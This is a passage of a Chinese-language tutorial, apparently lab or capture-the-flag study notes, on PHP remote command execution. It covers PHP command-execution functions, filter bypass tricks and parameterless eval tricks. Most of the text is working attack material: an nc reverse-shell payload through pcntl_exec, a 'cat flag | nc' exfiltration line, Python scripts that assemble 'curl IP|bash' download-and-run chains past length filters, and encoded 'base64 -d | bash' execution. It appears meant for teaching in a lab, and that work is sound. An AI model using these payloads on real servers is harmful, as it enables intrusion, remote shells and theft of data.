当前位置: 首页 > article >正文

PHP RCE

靶场搭建

生成容器

docker run -p 18022:22 -p 18080:80 -p 18081:81 -p 18082:82 -p 18085:85 -i -t mcc0624/cmd:latest bash -c '/etc/rc.local; /bin/bash'

管理网站

http://<IP>:18085/CZKJ2022 用户名:admin 密码:P@ssw0rd

SSH

用户名root 密码P@ssw0rd

不同端口对应的版本

  1. 80 ----> 5.0PHP

  2. 81 ----> 7.0PHP

  3. 82 ----> 7.3PHP

常见函数

system

exec

passthru

shell_exec

反引号

popen

proc_open

pcntl_exec

system()

system(string $command, int &$result_code = null)

执行 command 参数所指定的命令,并且输出执行结果。

  • command:要执行的命令。

  • result_code:如果提供result_code参数,则外部命令执行后的返回状态会被设置到此变量中

<?php
echo '<pre>';
​
// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('chdir', $retval);
​
// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

当执行正确时候,有回显,并且,result_code返回0

image-20241211125948565

<?php
echo '<pre>';
​
// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('1chdir', $retval);
​
// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>

当执行错误时候,result_code返回1

image-20241211130146240

exec()

exec(string $command, array &$output = null, int &$result_code = null)

exec() 执行 command 参数所指定的命令。

  • command:要执行的命令,单独使用只有最后一行结果,且不会回显

  • output:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组。

  • 可以使用print_r()回显

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
exec($cmd,$array);
var_dump($array);
echo PHP_EOL;
echo "--------";
print_r($array);
​
​
/*
array(10) {
  [0]=>
  string(8) "exec.php"
  [1]=>
  string(8) "flag.php"
  [2]=>
  string(12) "passthru.php"
  [3]=>
  string(9) "pcntl.php"
  [4]=>
  string(7) "pig.png"
  [5]=>
  string(9) "popen.php"
  [6]=>
  string(13) "proc_open.php"
  [7]=>
  string(9) "quote.php"
  [8]=>
  string(14) "shell_exec.php"
  [9]=>
  string(10) "system.php"
}
​
​
​
Array
(
    [0] => exec.php
    [1] => flag.php
    [2] => passthru.php
    [3] => pcntl.php
    [4] => pig.png
    [5] => popen.php
    [6] => proc_open.php
    [7] => quote.php
    [8] => shell_exec.php
    [9] => system.php
)
​
​
*/

passthru()

passthru(string $command, int &$result_code = null)

同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

  • command

    要执行的命令, 有回显。

  • result_code

    如果提供 result_code 参数, Unix 命令的返回状态会被记录到此参数。

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo "This is test!!!";
passthru($cmd);
​
/*
This is test!!!exec.php flag.php passthru.php pcntl.php pig.png popen.php proc_open.php quote.php shell_exec.php system.php
*/

shell_exec()

shell_exec(string $command)

  • command

    要执行的命令。

环境执行命令,并且将完整的输出以字符串的方式返回。功能等同于反引号

借用echo、print等输出结果

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);
echo $output;
​
​
/*
exec.php flag.php passthru.php pcntl.php pig.png popen.php proc_open.php quote.php shell_exec.php system.php
​
*/

popen()

popen(string $command, string $mode)

  • command:要执行的命令

  • mode:模式 "r" 读"w"写

通过fgets(),fgetss(),fread(),获取内容,print_r(),echo等输出内容

<?php
​
$a = popen('chdir','r');
//echo fgets($a);
//echo fread($a,100);    //第二个参数为读取几个
echo fgetss($a);
​
/*
D:\phpstudy_pro\WWW\php.ppp\mlzx
*/

proc_open()

proc_open( array|string $command, array $descriptor_spec, array &$pipes, ?string $cwd = null, ?array $env_vars = null, ?array $options = null )

  • command:形式执行的命令行。特殊字符必须经过转义,并且使用正确的引号。

  • descriptor_spec:定义数组内容

  • pipes:调用数组内容

<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$array =   array(
    array("pipe","r"),   //标准输入
    array("pipe","w"),   //标准输出内容
    array("file","/tmp/error-output.txt","a")    //标准输出错误
);
​
$fp = proc_open($cmd,$array,$pipes);   //打开一个进程通道
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
​
/*
/www/admin/localhost_80/wwwroot/class01
*/

反引号

反引号 ``

反引号里面跟要执行的命令

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo `$cmd`,PHP_EOL;
​
​
/*
/www/admin/localhost_80/wwwroot/class01
*/

pcntl_exec()

需单独加载组件

pcntl(string $path, array $args=?,array $array $envs=?)

  • 参数path:必须要是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(如:#!/usr/local/bin/perl的perl脚本)

  • 参数args:是一个要传递给程序的参数的字符串数组。

  • 参数envs:是一个要传递给程序作为环境变量的字符串数组

#!bin/bash

path

-c /bin/ls

args

info信息:没有禁用pcntl_exec函数

pcntl_exec函数没有回显

解决方法一:cat文件并输出到有权限读取的路径

解决方法二:shell反弹

  • post提交

    • cmd=pcntl_exec("/bin/bash",array("-c","nc 192.168.1.1 7777 -e /bin/bash"));

    • 参数path:"/bin/bash"

    • 参数args:以数组的形式包裹起来

      • -c 执行二进制文件

      • nc反弹tcp连接

      • -e /bin/bash 返回命令行交互界面

过滤命令执行函数

替换

源码

<?php
header("content-type:text/html;charset=utf-8"); 
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])){
    $c = $_GET['cmd'];
    if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
        eval($c);
    }
    else{
        echo "你是黑客么?";
    }
}

过滤了exec,system,popen,proc_open但是没有过滤passthru()

payload

http://192.168.71.140:18080/class02/1.php/?cmd=passthru('cat /flag');

LD_PRELOAD绕过

场景:disable_function禁用所有可能用到命令执行的函数

image-20241212202500842

程序的链接

  1. 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开

  2. 装入时动态链接:源程序编译后所得到的一组目标模块,再装入内存时,边装入边链接

  3. 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接

对于动态链接来说,需要一个动态链接库,其作用于动态库中的函数发生变化对于可执行程序来说时透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。

LD_PRELOAD介绍

它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

通过这个环境变量,可以在主程序和其它动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

mail

内嵌在PHP中

imagick

需要扩展安装

mail

绕过条件
  • 能够上传自己的.so文件

  • 能够控制环境变量的值(设置LD_PRELOAD)

代码分析

链接符

;

&

&&

|

||

;

作用
  • 使多个命令按顺序执行

  • 前面的命令和后面的命令都会执行

#id;ls;pwd

image-20241224185844396

image-20241224190033794

&

作用

使用命令在后台运行,这样就可以运行多条命令(命令需要进行url编码)

image-20241224190706662

&&

作用

如果前面的命令执行成功则执行后面的命令(命令需要进行url编码)

image-20241224191028431

|

作用

将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;前面的命令和后面的命令都会执行,但只显示后面的命令执行结果

image-20241224192735631

/bin/bash 把 ls -l 当成参数执行

||

作用

若前面的命令执行成功,则后面的命令不执行

若前面的命令执行失败,则执行后面的命令

image-20241224193111171

空格过滤绕过

1、大括号

{cat,flag.txt}

2、$IFS

Linux下有个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)

$IFS ${IFS} $IFS$9

3、重定向字符

<

<>

<表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备

image-20241225100121958

4、URL编码

  1. %09(Tab)

  2. %20(space)

文件名过滤绕过

通配符 ? * 绕过

通配符用来模糊搜索文件

?在Linux里面可以进行替换字母。?仅代表单个字符串,但此单词必须存在

*在Linux里面可以进行模糊。可以代表任何字符串

image-20241225101315122

image-20241225101954234

image-20241225102337093

单引号和双引号

image-20241225102701098

image-20241225102922575

image-20241225103007660

反斜线\绕过

把特殊字符去掉功能性,单纯表示为字符

image-20241225103406148

特殊变量:$1-$9、$@、$*等

输出为空

image-20241225103607515

内联执行

自定义字符串,在拼接起来

image-20241225105309917

利用Linux中的环境变量

使用环境变量里的字符执行变量

${PATH}

文件读取绕过

tac:反向显示

与cat功能相似,但是内容是反向显示的,从最后一行往前开始显示

image-20241225141146729

more:一页一页的显示档案内容

image-20241225141427493

less

与more类似

tail

查看末尾几行,只显示最后10行

nl

显示的时候,顺便输出行号

image-20241225142026302

od

以二进制的方式读取档案内容

需要加参数 -A d -c

image-20241225142604730

xxd

读取二进制文件

image-20241225142733785

sort

主要用于排序文件

image-20241225143136519

uniq

报告或删除文件中重复的行

image-20241225143238942

file -f

报错出具体内容

image-20241225143308643

grep

在文本中查找指定的内容

?cmd=passthru("grep fla fla*")
# 从fla*文本中搜索包含fla字符串的行

编码绕过

绕过原理

image-20241225144320780

base64编码

import base64

s = b'cat /flag'
e64 = base64.b64encode(s)
print(e64)

#  Y2F0IC9mbGFn

cat /flag -> Y2F0IC9mbGFn

echo Y2F0IC9mbGFn | base64 -d | bash

把cat /flag的base64值,交给base64 -d,然后base64 -d的值交给bash执行命令(不止有bash还有ash、bash、ksh、csh、zsh等等)

还可以使用反引号

?cmd=system("`echo Y2F0IC9mbGFn | base64 -d`");

加括号和$

?cmd=system("$(echo Y2F0IC9mbGFn | base64 -d)");

base32编码

同base64,只需要将命令编码成base32

HEX编码

import binascii

s = b'cat /flag'
h = binascii.b2a_hex(s)
print(h)


#    636174202f666c6167

cat /flag -> 636174202f666c6167

echo "636174202f666c6167" | xxd -r -p | bash

-r -p 将纯二进制存储的反向输出打印为ASCII格式

同样也可以使用反引号和$加括号

image-20241225152647431

shellcode编码

16进制表示的字符串

image-20241225153310139

命令盲注

页面无法shell反弹或者无法回显,或者没有写入权限,可以尝试盲注。根据返回的时间来判断

相关Linux命令

  1. sleep N:N秒后返回结果

  2. awk NR:cat的内容交给awk显示一行,再交给cut显示第几位

    image-20241225154315775

    image-20241225154449843

  3. cut -c:逐条获取单个字符

  4. if语句

    判断命令是否执行

    if [$(cat /flag | awk NR==1 | cut -c 1)==F];then echo "right";fi
    if[]里面判断语句是否为真,如果为真则执行echo "right",否则fi结束
    if [$(cat /flag | awk NR==1 | cut -c 1)==F];then sleep 2;fi
    if[]里面判断语句是否为真,如果为真则执行sleep2,休眠2秒后返回结果,否则fi结束

长度过滤绕过

前置知识

>符合和>>
命令换行
ls -t命令
sh 命令
dir和*和rev命令
  1. 通过>来创建文件

    echo "eecho" > a
    创建文件a并把eecho写入到a文件里面

    image-20241226093148208

  2. 通过>>来追加

    echo "1025" >> a

    image-20241226093307676

  3. 命令换行

    相当于\把换行的命令连接到一起执行

    cat a
    可以写成
    c\
    a\
    t\
     \
     a

    image-20241226093458555

  4. ls -t命令

    ls -t

    按时间排序,最新的优先,只能精确到秒

  5. dir和*和rev命令

    dir:按列输出,不换行

    相当于$(dir )会把文件名的第一个文件名当作命令执行

    rev:可以反转文件每一行

    image-20241226103301341

    image-20241229152136665

组合使用

image-20241226102845449

image-20241226102909614

image-20241226102918243

长度限制为7的绕过方法

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
    $a = str_replace("/\*|\?|/","=====",$argv);
    return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
    exec(filter($_GET['cmd']));
} else  {
    echo "flag in local path flag file!!";
}

使用nc -lvp 7777

执行的命令: cat flag | nc 192.168.100.24 7777 cat展示内容,在通过nc反弹

脚本
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.107.128:18080/class09/2/index.php?cmd="
s = requests.session()

list=[
    '>7777',
    '>4\%20\\',
    '>2\\',
    '>100.\\',
    '>168.\\',
    '>2.\\',
    '>19\\',
    '>c\%20\\',
    '>\|n\\',
    '>ag\\',
    '>fl\\',
    '>t\ \\',
    '>ca\\',
    'ls -t>a'
]

for i in list:
    time.sleep(1)
    url = baseurl+str(i)
    s.get(url)

s.get(baseurl+"sh a")

# ls -t >a cat flag|nc 192.168.1.161 7777

###

因为ls -t>a字符长度为7超过5了

ls -t >a cat flag|nc 192.168.1.161 7777

而构造空格的字符最少为5个,但是又不能存在相同的文件名,所有7的方法不适用于5

解决方法

出自陈腾老师

image-20241228175459378

脚本
#encoding:utf-8
import time
import requests
baseurl = "http://192.168.107.128:18080/class09/3/index.php?cmd="    # 根据情况改动
s = requests.session()

# 将ls -t 写入文件_
list=[
    ">ls\\",
    "ls>_",
    ">\ \\",
    ">-t\\",
    ">\>y",
    "ls>>_"
]

# curl 192.168.1.161/1|bash
list2=[
    ">bash",
    ">\|\\",
    ">\/\\",
    ">4\\",
    ">2\\",
    ">0.\\",
    ">0\\",
    ">1\\",
    ">8.\\",
    ">16\\",
    ">2.\\",
    ">19\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]
# list2根据情况改动
for i in list:
    time.sleep(2)
    url = baseurl+str(i)
    s.get(url)

for j in list2:
    time.sleep(2)
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"sh _")
s.get(baseurl+"sh y")

长度限制为4的绕过方法

因为5的绕过方法中使用了追加写入但是追加写入最少需要5个字符,超过了4个,不在适用于4个绕过

解决方法
  1. 构造 ls -t>g

  2. 构造一个反弹shell

    curl 192.168.100.24|bash

    curl 0xc0a86418|bash

  3. 反弹回来的shell查看flag

步骤一

构造 ls -t>g

>g\;
>g\>
>ht-
>sl
>dir
*>v
>rev
*v>x


>g\;是为了防止g后面有其他文件名造成影响

步骤二

构造反弹shell

>ash
>b\
>\|\
>18\
>64\
>A8\
>C0\
>0x\
>\ \
>rl\
>cu\

无参数命令执行

  • HTTP请求头(php7.3)

  • 利用全局变量RCE(php5/7)

  • 利用session(php5)

  • 使用scandir() 进行文件读取

请求头RCE

<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}
?>
HTTP请求标头
  • getallheaders() 获取所有HTTP请求标头

    image-20241229174809672

  • pos()把第一项的值显示出来

    ?code=print_r(pos(getallheaders()));

    image-20241229174857220

  • end()把最后一项的值显示出来

    image-20241229174939249

  • apache_request_heawders() 功能与getallheaders()相似,适用于apache服务器

提取出来后可以使用eval来执行。例如提取了Connection那么,只需要写入对应的命令,就会被执行

image-20241229175142591

无参数全局变量

利用全局变量RCE(php5/7)
<?php
error_reporting(0);
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
    eval($_GET['code']);
}
?>

  • get_defined_vars() 返回所有已定义的值,所组成的数组

    image-20241229180203081

    image-20241229180138595

可以看到已经添加了命令,里面的cmd是可变的。目前还无法执行,还需要使用end()函数指向cmd命令然后使用eval执行cmd命令

image

session RCE


http://www.kler.cn/a/488435.html

相关文章:

  • 语音机器人外呼的缺点
  • 【云商城】高性能门户网构建
  • Zustand selector 发生 infinate loops的原因以及解决
  • IDEA配置maven和git并如何使用maven打包和git推送到gitlab
  • idea全局替换显示不全(ctrl+shift+R)
  • 00000008_C并发编程与多线程
  • JS爬虫实战演练
  • js观察者模式
  • nginx反向代理和负载均衡的区别
  • 【LeetCode】303. 区域和检索 - 数组不可变
  • linux 设置mysql 外网访问
  • 微信原生小程序自定义封装组件(以导航navbar为例)
  • 1.3作业
  • 机器学习的基本原理和算法
  • 缓存-Redis-API-Redisson-可重试
  • OpenCV轮廓相关操作API (C++)
  • 探索 Docker Desktop:简化开发与部署的利器
  • 4.3.1 树、二叉树基本概念
  • 阿里云直播互动Web
  • R.swift库的详细用法
  • JavaScript系列(18)--异步编程模式
  • 【UI自动化测试】selenium操作补充
  • 【Docker】docker compose 安装 Redis Stack
  • Linux 文件的特殊权限—ACL权限控制
  • JavaScript Chrome 中的运行
  • Android 12.0 mtk平板camera2横屏预览旋转90度横屏保存录像旋转90度功能实现